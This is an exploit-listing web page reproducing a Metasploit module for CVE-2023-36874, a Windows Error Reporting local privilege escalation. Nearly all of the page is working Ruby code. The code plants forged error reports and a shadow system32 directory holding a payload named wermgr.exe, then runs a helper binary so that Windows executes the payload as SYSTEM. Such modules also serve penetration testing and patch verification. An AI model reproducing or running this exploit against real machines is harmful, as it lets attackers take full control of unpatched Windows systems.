Advertisement






Microsoft Error Reporting Local Privilege Elevation

CVE Category Price Severity
CVE-2023-36874 CWE-Other $1,000 - $5,000 High
Author Risk Exploitation Type Date
Unknown High Local 2023-09-28
CPE
cpe:cpe:/a:microsoft:windows
CVSS EPSS EPSSP
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2023090080

Below is a copy:

Microsoft Error Reporting Local Privilege Elevation
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::Common
  include Msf::Post::File
  include Msf::Exploit::FileDropper
  include Msf::Post::Windows::Priv
  include Msf::Exploit::EXE

  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Microsoft Error Reporting Local Privilege Elevation Vulnerability',
        'Description' => %q{
          This module takes advantage of a bug in the way Windows error reporting opens the report
          parser.  If you open a report, Windows uses a relative path to locate the rendering program.
          By creating a specific alternate directory structure, we can coerce Windows into opening an
          arbitrary executable as SYSTEM.
          If the current user is a local admin, the system will attempt impersonation and the exploit will
          fail.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Filip Dragovi (Wh04m1001)', # PoC
          'Octoberfest7', # PoC
          'bwatters-r7' # msf module
        ],
        'Platform' => ['win'],
        'SessionTypes' => [ 'meterpreter', 'shell', 'powershell' ],
        'Targets' => [
          [ 'Automatic', { 'Arch' => [ ARCH_X64 ] } ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2023-07-11',
        'References' => [
          ['CVE', '2023-36874'],
          ['URL', 'https://www.crowdstrike.com/blog/falcon-complete-zero-day-exploit-cve-2023-36874/'],
          ['URL', 'https://github.com/Wh04m1001/CVE-2023-36874'],
          ['URL', 'https://github.com/Octoberfest7/CVE-2023-36874_BOF']
        ],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ ARTIFACTS_ON_DISK ]
        },
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_fs_delete_file
              stdapi_sys_config_getenv
            ]
          }
        }
      )
    )

    register_options([
      OptString.new('EXPLOIT_NAME',
                    [true, 'The filename to use for the exploit binary (%RAND%.exe by default).', "#{Rex::Text.rand_text_alpha(6..14)}.exe"]),
      OptString.new('REPORT_DIR',
                    [true, 'The Error Directory to use (%RAND% by default).', Rex::Text.rand_text_alpha(6..14).to_s]),
      OptString.new('SHADOW_DRIVE',
                    [true, 'Directory to place in the home drive for pivot (%TEMP% by default).', Rex::Text.rand_text_alpha(6..14).to_s]),
      OptInt.new('EXECUTE_DELAY',
                 [true, 'The number of seconds to delay between file upload and exploit launch', 3])
    ])
  end

  # When we pass the directory value to the mkdir method, the mkdir method
  # passes the reference to the string containing the directory.
  # We do a lot of string manipulation in this module, so this is a quick
  # hack to make sure that despite what we do with the string after we create
  # the directory, it is  the actual directory we created that gets sent to
  # the cleanup methods.
  def clone_mkdir(dir)
    mkdir(dir.clone)
  end

  def upload_error_report
    wer_archive_dir = get_env('PROGRAMDATA')
    vprint_status(wer_archive_dir)
    wer_archive_dir << '\\Microsoft\\Windows\\WER\\ReportArchive'
    report_dir = "#{wer_archive_dir}\\#{datastore['REPORT_DIR']}"
    report_filename = "#{report_dir}\\Report.wer"
    vprint_status("Creating #{report_dir}")
    clone_mkdir(report_dir)
    wer_report_data = exploit_data('CVE-2023-36874', 'Report.wer')
    vprint_status("Writing Report to #{report_filename}")
    write_file(report_filename, wer_report_data)
  end

  def build_shadow_archive_dir(shadow_base_dir)
    wer_archive_dir = shadow_base_dir
    clone_mkdir(wer_archive_dir)
    wer_archive_dir << '\\ProgramData\\'
    clone_mkdir(wer_archive_dir)
    wer_archive_dir << 'Microsoft\\'
    clone_mkdir(wer_archive_dir)
    wer_archive_dir << 'Windows\\'
    clone_mkdir(wer_archive_dir)
    wer_archive_dir << 'WER\\'
    clone_mkdir(wer_archive_dir)
    wer_archive_dir << 'ReportArchive\\'
    clone_mkdir(wer_archive_dir)
    report_dir = "#{wer_archive_dir}#{datastore['REPORT_DIR']}"
    clone_mkdir(report_dir)
    return report_dir
  end

  def upload_shadow_report(shadow_archive_dir)
    report_filename = "#{shadow_archive_dir}\\Report.wer"
    wer_report_data = exploit_data('CVE-2023-36874', 'Report.wer')
    vprint_status("Writing bad Report to #{report_filename}")
    write_file(report_filename, wer_report_data)
  end

  def build_shadow_system32(shadow_base_dir)
    shadow_win32 = "#{shadow_base_dir}\\system32"
    vprint_status("Creating #{shadow_win32}")
    clone_mkdir(shadow_win32)
    return shadow_win32
  end

  def upload_payload(shadow_win32)
    payload_bin = generate_payload_exe
    payload_filename = "#{shadow_win32}\\wermgr.exe"
    vprint_status("Writing payload to #{payload_filename}")
    write_file(payload_filename, payload_bin)
  end

  def upload_execute_exploit(exploit_path, shadow_path, home_dir)
    vprint_status("shadow_path = #{shadow_path}")
    exploit_bin = exploit_data('CVE-2023-36874', 'CVE-2023-36874.exe')
    write_file(exploit_path, exploit_bin)
    sleep datastore['EXECUTE_DELAY']
    vprint_status("Exploit uploaded to #{exploit_path}")
    cmd = "#{exploit_path} #{shadow_path} #{home_dir} #{datastore['REPORT_DIR']}"
    output = cmd_exec(cmd, nil, 30)
    vprint_status(output)
  end

  def check
    # This only appears to work on 22H2, but likely will work elsewhere if we figure out the function pointers.
    version = get_version_info
    vprint_status("OS version: #{version}")
    return Exploit::CheckCode::Appears if version.build_number == Msf::WindowsVersion::Win10_22H2

    return Exploit::CheckCode::Safe
  end

  def exploit
    fail_with(Module::Failure::BadConfig, 'User cannot be local admin') if is_in_admin_group?
    fail_with(Module::Failure::BadConfig, 'Already SYSTEM') if is_system?
    shadow_dir = datastore['SHADOW_DRIVE']
    home_dir = get_env('HOMEDRIVE')
    shadow_path = "#{home_dir}\\#{shadow_dir}"
    vprint_status("Shadow Path = #{shadow_path}")
    upload_error_report
    shadow_archive_dir = build_shadow_archive_dir(shadow_path.dup)
    upload_shadow_report(shadow_archive_dir)
    shadow_system32 = build_shadow_system32(shadow_path.dup)
    upload_payload(shadow_system32)
    sleep datastore['EXECUTE_DELAY']
    exploit_path = "#{shadow_path}\\#{datastore['EXPLOIT_NAME']}"
    exploit_path << '.exe' unless exploit_path[-4..] == '.exe'
    if shadow_dir.length > 64
      fail_with(Module::Failure::BadConfig, 'REPORT_DIR value too long')
    end
    upload_execute_exploit(exploit_path, shadow_dir, home_dir)
    print_warning("Manual deletion of #{shadow_path} may be required")
  end
end

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum